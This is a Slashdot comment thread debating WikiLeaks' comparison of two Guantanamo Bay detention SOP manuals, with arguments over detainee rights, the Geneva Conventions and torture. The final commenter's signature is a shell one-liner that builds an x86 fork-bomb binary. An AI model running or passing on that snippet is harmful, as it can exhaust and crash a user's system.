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Diffing Guantanamo Bay SOP Manuals

James Hardine writes "The Washington Post is reporting that Wikileaks has released another manual for Camp Delta, Guantanamo Bay together with the US military's rendition operations manual. This release follows from the Wikileaks release of the 2003 SOP Manual as discussed on Slashdot last month. Wikileaks compares the two manuals (2003, 2004) and reveals damning changes in official US detainee policy in exquisite detail. Who knew that diff could be such a powerful political weapon?"

31 of 563 comments (clear)

  1. Hmph by moogied · · Score: 5, Funny
    Section D.

    1. Policies in regard to treatment of prisoner's shoes.

    A. Shit in them.

    --
    So basically, -1 troll/offtopic is really slashdots way of saying "I hate that you thought of something before me."
  2. Damning changes? by CRCulver · · Score: 5, Insightful

    Except for the fact that soldiers no longer have to carry a human rights card, what are these damning changes? I see little to protest in the diff.

    1. Re:Damning changes? by Anonymous Coward · · Score: 5, Interesting

      If they're guarded by Military Police, then the likely logical argument that follows is that they're prisoners of war. If they're guarded by guards, then who can really say what they are?

      We can't tolerate any suggestion that they might be prisoners. They're detainees. We barely acknowledge that they're human beings.

      That's SOP in the Bush administrations' "War on Terra".

    2. Re:Damning changes? by Anonymous+Psychopath · · Score: 5, Insightful

      I think you meant "no longer have to carry a little laminate card" instead of "no longer have to abide..."

      No offense, but your statement seems to be reading a bit more into the document than it actually says.

      Anyway, if you believe Gitmo is evil, the document will support your belief. If you do not believe Gitmo is evil, nothing in the document will change your mind. Frankly, I think the entire article is a troll.

      --

      Eagles may soar, but weasels don't get sucked into jet engines.

    3. Re:Damning changes? by rtechie · · Score: 4, Insightful

      Gitmo is the place where the worst of the worst are kept. And you know this how? Neither you nor the government, has presented one iota of credible evidence that anyone at Guantanamo has committed any crimes whatsoever. The Bush administration has fought tooth and nail to prevent any such evidence coming to light.
      You do know that lots of people have been released from Guantanamo, don't you? And that many of those people have been formally exonerated by their home nations of committing any crime?

      One of the people held at Guantanamo has been there since he was 14. Was he one of the "worst of the worst"? The government won't say what he did but, perversely, has described him as a "good kid" that thrived under the tender mercies of the Guantanamo guards. Staff at Guantanamo have reported that, for the most part, they don't know why most people are being held there.

      These are the guys that are found actively fighting American forces or the local population or those that are known to have information that they are not willing to divulge. First, I hate to break it to you, but "actively fighting American forces" isn't a war crime. Whether you're wearing a uniform or not. Imprisoning prisoners of war outside the theater is a clear violation of the Geneva Conventions. So is interrogating them. So even assuming you're correct, Guantanamo Bay is illegal.

      And you're not. Most of the prisoners at Guantanamo Bay were sold to the US Army by Afghani warlords/drug lords. And they're about as reputable as they sound.

      Besides, that would be an incredibly waste of resources to ship every one of these people to Gitmo and interrogate them for hours only to have them confess to something that never happened. More like, "interrogate them for years". But you're right, it is a huge waste of resources.

  3. We're all boiling frogs by Peter+Cooper · · Score: 5, Insightful

    Reading this article made me realize just how we've all fallen victim to the "boiling frog syndrome". Ten years ago it would have seemed nuts to be reading, and hearing about, the operation of concentration camps in the West, other than when reading about WWII. Now we read stuff about concentration camps, internment, loss of habeas corpus, the US kidnapping people from around the world, etc, and it's all just regular, "same old" news. A few people still feel a little shock, and even fewer actually bother to do anything about it, while the rest of us twiddle our thumbs and either hope it'll all go away or think that "well, we've done nothing wrong, so we'll be fine."

    I wonder what sort of stories we'll be reading in another ten years that would shock us now but will seem like regular occurrences in 2017? Thoughtcrime executions, archived recording of all telephone calls (the European Union is already working on this!), incarcerating people because they have the "genes" of a potential psychopath (again, the EU is looking into this)? It's gunna happen and we'll just keep boiling like the frogs we are.

    1. Re:We're all boiling frogs by Sique · · Score: 4, Insightful

      Please get your facts straight.

      1. About half of the "lovely freedom fighters" are sent home already, and none of them ever got charged with anything. Obviously at least half of them were never "lovely freedom fighters". Whoever they were, they surely aren't THEY beheading innocent people and videotaping them.
      Please explain how detaining people not connected to those crimes helps fighting the criminals.

      2. A concentration camp is something else than an extermination camp. Concentration camps were set up and are set up to round up people deemed somehow dangerous without ever telling anyone why exept for some general accusations. Germans were using the term "concentration camp" because it didn't have the horrible sound until it was discovered that the German concentration camps in fact were extermination camps.

      3. Please explain why you can mistreat people just because they aren't U.S. citizens.

      --
      .sig: Sique *sigh*
    2. Re:We're all boiling frogs by MadJo · · Score: 4, Insightful

      People are being sent there without just trial! You say "bill of rights + constitution" do not apply, how about the laws of the country where they were taken from? How about human rights?
      The US is in the business of kidnapping people and imprisoning them without any form of trial or appeal. How is that fair? How is that just? How is that according to your rules of the land?
      To me that's bullying behaviour: "We don't like him, let's put him behind bars in a place where he can't hurt us."
      How many innocent people are in Guantanamo Bay?
      And why did the US built that prison in a foreign country?

      I can't believe you can still sleep at night.

    3. Re:We're all boiling frogs by kalidasa · · Score: 5, Informative

      Who told you that the Bill of Rights doesn't apply to non-Citizens? Let's look at the 5th Amendment:

      No person shall be held to answer for a capital, or otherwise infamous crime, unless on a presentment or indictment of a grand jury, except in cases arising in the land or naval forces, or in the militia, when in actual service in time of war or public danger; nor shall any person be subject for the same offense to be twice put in jeopardy of life or limb; nor shall be compelled in any criminal case to be a witness against himself, nor be deprived of life, liberty, or property, without due process of law; nor shall private property be taken for public use, without just compensation.

      Its pretty damned clear to me that "No person shall be ... deprived of life, liberty, or property, without due process of law..." Not "no citizen," but "no person". Due process applies to anyone in the jurisdiction of the US, regardless of citizenship or residence (or in fact their physical location, but that's another argument). Note that "in actual service" phrase if you think you can use the military exemption clause as cover here - that only refers to the use of military courts to try US servicemen in time of war or public danger.

      Before spouting off, RTF Constitution!

    4. Re:We're all boiling frogs by Anonymous Coward · · Score: 5, Insightful

      "Let me know when prisoners are beaten, maimed, gases, burned, frozen, shot, or made to watch their children murdered."

      Apparently you have no problem holding innocent people in prison, without trial, without access to lawyers, without family contact, for 6 YEARS of their lives.

      Man, what an opportunist scumbag. Someone makes a comparison to concentration camps, and you jump up on your podium and start proudly trumpeting how humane your prison camps are!

      "Let's contrast this with these lovely freedom fighters, who for a little while were video taping a beheading-of the-week to be played all over the world."

      Sure, let's wipe our misdeeds under the table by pointing at worse criminals next door! The fact remains, you and the operators of these prison camps are criminals and abettors of criminals, and the fact that worse criminals exist in the world does nothing to temper that fact.

      "They murder innocent people by the thousands in the name of Allah."

      Who does? The people you're falsely imprisoning? Nope. If they had, you might give them trials. Why don't you give them trials? There is one obvious reason. You think they'll be set free. Now why might that be...?

      "SOP for detainees is to whine about mistreatment, torture, Koran mishandling, etc."

      Yeah, those whining ingrates! They should be licking our boots for imprisoning them in such a fine jail!

      "These are not US citizens; therefore, the Bill of Rights + Constitution do not apply."

      The fact is that the Bill of Rights is clearly not limited to US citizens, and our country is based on liberty and justice for all. That you would rant to the contrary only shows you both a bald-faced liar and a traitor of those values.

      You don't believe in liberty nor justice. You just take them for yourself. This is hypocrisy and worse.

      "These are not uniformed soldiers of a sovereign state; therefore, Geneva Conventions do not apply."

      I see. They're not soldiers, but they're not not soldiers. Hmm, what are they... I know! They must be alien invaders from Mars! Oh, sorry, wrong line, they're "illegal combatants." What's an "illegal combatant"? Well, nobody is quite sure, but we know they don't deserve trials, yessirree!

      "But we treat them far better than any other military would treat them."

      Oh, good for you. "Look, Frankie next door catches frogs and burns them alive! Why are you mad at me when I only poke out the eyes of the ones I catch?!"

      Scumbag.

    5. Re:We're all boiling frogs by spikedvodka · · Score: 4, Insightful

      These are not US citizens; therefore, the Bill of Rights + Constitution do not apply. These are not uniformed soldiers of a sovereign state; therefore, Geneva Conventions do not apply. But we treat them far better than any other military would treat them. Run that by me again... where in the Constitution, or any of it's amendments does it claim that the rights are only for citizens. in the few cases where it does care (i.e. Voting) it uses the term citizen, as opposed to "the people"

      I think you'd be hard pressed to argue that the bill of rights only applies to citizens, and not everybody under US law.
      --
      I will not give in to the terrorists. I will not become fearful.
    6. Re:We're all boiling frogs by Sancho · · Score: 4, Interesting

      There's good reason to doubt. Maybe it's all a conspiracy to make us completely unsure of what's real.

      Here are some reasons to doubt news stories:
      http://www.truthout.org/cgi-bin/artman/exec/view.cgi/37/9592
      http://www.washingtonpost.com/wp-dyn/articles/A36694-2005Mar15.html
      http://www.msnbc.msn.com/id/21490838/
      http://news.independent.co.uk/world/americas/article621189.ece

      Major news outlets carried falsified stories in order to gauge citizen reaction. Of course, the catch-22 is that if you feel that the above stories might be fake, we're in the same boat--not knowing what to believe.

    7. Re:We're all boiling frogs by rbanffy · · Score: 4, Insightful

      "These are not US citizens; therefore, the Bill of Rights + Constitution do not apply. These are not uniformed soldiers of a sovereign state; therefore, Geneva Conventions do not apply"

      So, what you are saying is that because Gitmo is not subject to the rule of the US constitution, those civilians who were captured have no rights under it and that because they are civilians, they have no right under the GC. So, in fact, they have no rights whatsoever. And that everything is OK because they are allowed to practice their religion and brush their teeth.

      And you somehow think it's right.

      Keep in mind a lot of them were captured during the invasion of a country that had absolutely nothing to do with any terrorist attacks on the US and whose largest offenses were being ruled a obnoxious dictator that pissed off the POTUS and who have every right not to thank the US because they were bombed back to stone age and then invaded by so called liberators. If at some point in the future some foreign power decides to invade the US and a civilian resistance movement starts, would you be OK with your fellow countrymen being held in a legal limbo? Would it be fine to torture them as long as they can practice their religion and brush their teeth?

      If Gitmo is not part of the US, then what is it? Part of Cuba that has been invaded for so long that Cubans don't care anymore? Shouldn't it be under _some_ law?

      And, BTW, the US Constitution applies to everyone within any part of the US territory (including embassies, planes and boats in international waters) and not only to US citizens. It's sad (not to say it betrays the legacy of your Founding Fathers) to think one can bend _this_ law to serve any purpose.

      I hope this shameful episode will end someday.

    8. Re:We're all boiling frogs by nick_davison · · Score: 5, Interesting

      1. Please explain how detaining people not connected to those crimes helps fighting the criminals. We British tried this one with awesome effect during internment in Northern Ireland. It works like this:
      • Arrest and abuse everyone, regardless of evidence.
      • Turn the hearts and minds of the people utterly against you.
      • Have vastly more people become terrorists in outrage at the complete disregard for due process that you're demonstrating.
      • Now you have far more terrorists. Which makes catching them even easier.
      See how much easier it is to fight criminals when you ensure there are far more of them to catch? It's like shooting fish in a barrel. One is hard to hit. Pack the barrel to the brim and you're bound to hit something.

      It was only under our foolish return to the rule of law and acting with honour again by the late 90's that we had largely stopped outraging the populace. We had far fewer people responding to our behavior and becoming terrorists and found that the population no longer supported the terrorists' actions and no longer offered them safe houses. Do you know how hard it is to catch a terrorist when there are hardly any left?! It was a complete disaster!

      3. Please explain why you can mistreat people just because they aren't U.S. citizens. I believe the administration's preferred term is "undermenschen"
  4. If you want to diff it.. by Anonymous Coward · · Score: 5, Informative

    How's about comparing it to al Qaeda's manual?

    http://www.thesmokinggun.com/archive/jihadmanual.html

  5. Re:Just a thought about Gitmo by bperkins · · Score: 4, Insightful

    What do you do when you've managed to grab a a wolf by there ears?

    One approach would be to claim that it's not really a wolf, it's a bloodthirsty monster, and we don't really have it by the ears, and it's being well treated anyway. Plus no one else will grab it by the ears for us.

    Or you can just take your licks for doing something that's so obviously stupid.

    My claim is that you need to introduce them to the US judicial system and let it sort things out. Some bad guys might be able to slip through the cracks, but in my opinion we deserve any blowback that we get.

  6. Re:Diff knows many things. by rootofevil · · Score: 4, Funny

    we wont get fooled again!

    --
    turn up the jukebox and tell me a lie
  7. Re:congrats to wikileak by apparently · · Score: 4, Insightful
    for weaking america and making all of more vulnerable to terrorist attacks, hope you are proud of the work you are doing.

    I wonder if they're as proud as Bush was for ignoring memos titled Bin Laden determined to attack in US, not taking heed (and improving airline security), and successfully making us vulnerable to an attack.
    Cause that's totally comparable to someone releasing the SOP manuals of a prison.
    You see, friend, it's people like you who "weaken" and make America "more vulnerable to terrorist attacks". Instead of targeting your anger toward an administration that has let its incompetence actually harm American interests, you'd rather cry about some hypothetical weakening.

  8. come on. by apodyopsis · · Score: 4, Insightful

    If they are guilty then charge them and let them have their day in court.

    If there is no evidence then release them.

    But holding them indefinitely on hearsay and suspicion in a legal limbo is madness. The problem will not get easier to deal with the longer you leave it, at some point they will have to be dealt with - so better to get it out of the way now. Confront the problem whatever the cost, return or charge them, and get that embarrassment and shut down.

  9. Re:Diff is powerful by sqrt(2) · · Score: 4, Insightful

    That's exactly right. It even happens with our constitution. Amendment 18 enacted prohibition, and over a decade later the 21st amendment nullified the 18th; but they're both still there.

    --
    If you build it, nerds will come. Soylentnews.org
  10. Re:Just a thought about Gitmo by ray-auch · · Score: 5, Insightful

    If soldiers, they would be POWs and under Geneva conventions.

    If not, they are allegedly civilian criminals and should be prosecuted in the civilian judicial system.

    Problem with Gitmo is the US has decided these people are neither soldiers nor civilians but fall in some black hole category in between, where they have no access to civilian justice and no POW rights either.

  11. Re:prohibited! by LWATCDR · · Score: 4, Interesting

    "exercise as punishment is prohibited."
      Okay do 500 pushups and tell me that isn't punishment. Run 20 miles with no water and tell me that isn't punishment.

    Actually excessive exercise is a pretty effective form of torture. There is a line between torture and punishment. Three days in solitary confinement is a punishment. Six years could be torture. Being given 20 push ups to do is punishment for a solder. two hundred ...
    For the average Slashdot reader two push ups might be a violation of their human rights :)
    I am actually pretty conservative but torture is wrong.

    --
    See my blog http://ilovecookes.blogspot.com/ for light hearted technical information.
  12. Re:Just a thought about Gitmo by lymond01 · · Score: 4, Informative

    From Enemy Combatants on a site called the "Council on Foreign Relations" that has the tagline "A Nonpartisan Resource for Information and Analysis" (and not knowing anything about the CFR, that sounds a bit like a "fair and balanced" view of things, if you get my meaning).

    I quote:

    An "enemy combatant" is an individual who, under the laws and customs of war, may be detained for the duration of an armed conflict. In the current conflict with al Qaida and the Taliban, the term includes a member, agent, or associate of al Qaida or the Taliban. In applying this definition, the United States government has acted consistently with the observation of the Supreme Court of the United States in Ex parte Quirin, 317 U.S. 1, 37-38 (1942): "Citizens who associate themselves with the military arm of the enemy government, and with its aid, guidance and direction enter this country bent on hostile acts are enemy belligerents within the meaning of the Hague Convention and the law of war."

    "Enemy combatant" is a general category that subsumes two sub-categories: lawful and unlawful combatants. See Quirin, 317 U.S. at 37-38. Lawful combatants receive prisoner of war (POW) status and the protections of the Third Geneva Convention. Unlawful combatants do not receive POW status and do not receive the full protections of the Third Geneva Convention. (The treatment accorded to unlawful combatants is discussed below).

    The President has determined that al Qaida members are unlawful combatants because (among other reasons) they are members of a non-state actor terrorist group that does not receive the protections of the Third Geneva Convention. He additionally determined that the Taliban detainees are unlawful combatants because they do not satisfy the criteria for POW status set out in Article 4 of the Third Geneva Convention. Although the President's determination on this issue is final, courts have concurred with his determination.

  13. Re:congrats to wikileak by WindBourne · · Score: 5, Insightful

    Exactly how did this weaken America? America is suppose to be the land of the free and a place where democracy rules. Gitmo is a prison (from what I understand, it is the nicest of all of our external prisons) where we are holding suspects. This prison is the one that the feds MEANT to show the press. So why should the press and our citizens not see what is the absolute nicest that we will be.

    What should worry ppl is what is NOT being seen. In those dark rooms, is where we should be casting a light.

    --
    I prefer the "u" in honour as it seems to be missing these days.
  14. Re:congrats to wikileak by The+Rizz · · Score: 5, Interesting

    Which "limp-wristed" responses are you referring to? The ones where the Republican congress and conservative media shouted "Wag the Dog!" over and over to force him to stop attempting to kill Bin Laden?

    After all, shooting rockets into Afghanistan to try blow up known terrorist training camps had nothing to do with Clinton trying to protect America - it was all about distracting people from his blow job.

  15. Let's review by argStyopa · · Score: 4, Interesting

    ..the "damning" changes.

    Policy will now be reviewed every 30 days instead of 120 days.

    New rules:
    1. Comply with all rules and regulations. You are subject to disciplinary action if you disobey any rule or commit any act, disorder, or neglect that is prejudicial to good order and discipline.
    2. You must immediately obey all orders of U.S. personnel. Deliberate disobedience, resistance, or conduct of a mutinous or riotous nature will be dealt with by force. Be respectful of others. Derogatory comments toward camp personnel will not be tolerated.
    3. You may not have any articles that can be used as a weapon in your possession at any time. If a weapon is found in your possession, you will be severely punished. Gambling is strictly forbidden.
    4. Being truthful and compliance will be rewarded. Failure to comply will result in loss of privileges.
    5. All trash will be returned immediately to U.S. personnel when you are finished eating. All eating utensils must be returned after meals.
    6. No detainee may conduct or participate in any form of military drill, organized physical fitness, hand-to-hand combat, or martial arts style training.
    7. The camp commander will ensure adequate protection for all personnel. Any detainee who mistreats another detainee will be punished. Any detainee that fears his life is in danger, or fears physical injury at the hands of another person can report this to U.S. personnel at any time.
    8. Medical emergencies should be brought to the guards' attention immediately. Your decision whether or not to be truthful and comply will directly affect your quality of life while in this camp.

    (nothing in there seems particularly onerous. Aside from #2, it wouldn't make a bad set of rules for any school in the US.)

    (stopped reading because I have better things to do)
    I'd rate this -1, Overrated. It's a bunch of clarifications, seems to me as much for the detainees' benefit as anyone.

    --
    -Styopa
  16. Re:prohibited! by snl2587 · · Score: 4, Insightful

    I am actually pretty conservative but torture is wrong.

    Anyone else spot what should be wrong about this statement?

  17. Re:congrats to wikileak by LynnwoodRooster · · Score: 5, Informative
    I see this type of reasoning all the time. Let's just set the record straight:

    From the 9/11 hearings when Senator Gorton interviewed Richard Clarke, the Clinton Administration's Terror Czar and head of counter-terrorism.

    FORMER SEN. SLADE GORTON: Assuming that the recommendations that you made in... on January 25 of 2001 based on blue sky, including aid to the northern alliance which had been an agenda item at this point for two-and-a-half years without any action, assuming that there had been more predator reconnaissance missions, assuming that that had all been adopted, say, on January 26, the year 2001, is there the remotest chance that it would have prevented 9/11?

    RICHARD CLARKE: No.

    Unequivocal. The person in charge of counter-terrorism up to the very date that the Bush administration started CONFIRMED that 9/11 was already irreversibly in motion. The opportunity to stop it had already passed.

    --
    Browsing at +1 - no ACs, I ignore their posts. So refreshing!
  18. Why I hate Colbert... by SanityInAnarchy · · Score: 4, Funny

    It's actually hard for me to tell if you actually believe that bullshit, or if it's somehow satire.

    And if you do believe it, maybe you should watch the Colbert Report anyway. I bet you wouldn't realize it's a joke.

    --
    Don't thank God, thank a doctor!
    1. Re:Why I hate Colbert... by Deanalator · · Score: 4, Interesting

      It's fun to watch actual interviews of him, where he discusses the purpose behind the colbert character. He says he does not let his kids watch the show because he doesn't want them to get the wrong idea.

  19. Re:congrats to wikileak by Hal_Porter · · Score: 4, Interesting

    Which "limp-wristed" responses are you referring to? The ones where the Republican congress and conservative media shouted "Wag the Dog!" over and over to force him to stop attempting to kill Bin Laden?

    After all, shooting rockets into Afghanistan to try blow up known terrorist training camps had nothing to do with Clinton trying to protect America - it was all about distracting people from his blow job. As a non American, I think it's appalling that both the Republicans and the Democrats make these sorts of comments about foreign policy when they are out of office.

    In the UK we have a tradition of bipartisanship over this sort of stuff - it's something which the opposition is briefed over and is normally exempt from political sniping, unlike domestic issues which are fair game. Like most UK stuff it's not official - the two halves of the establishment essentially have an agreement not to argue in public about things that seriously threaten them. It works pretty well in practice though - in WWII when the UK was in dire danger of invasion they agreed form a coalition government, suspend elections, lock up Nazi sympathizers, censor the press and have a planned economy. Once the war was won all this was reversed and elections were held, which Churchill lost. Arguably in the London bombings there was at least some hint of this - the shoot to kill policy by the police was bipartisan and when it killed the wrong person and was thus clearly untenable the decision to stop it was also bipartisan. But counter terrorism policy is still something which is handled by a sort of hypervisor composed of Labour and the Conservative front benches and the spooks rather than by the normal adversarial system where they each compete and criticise each other openly.
    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;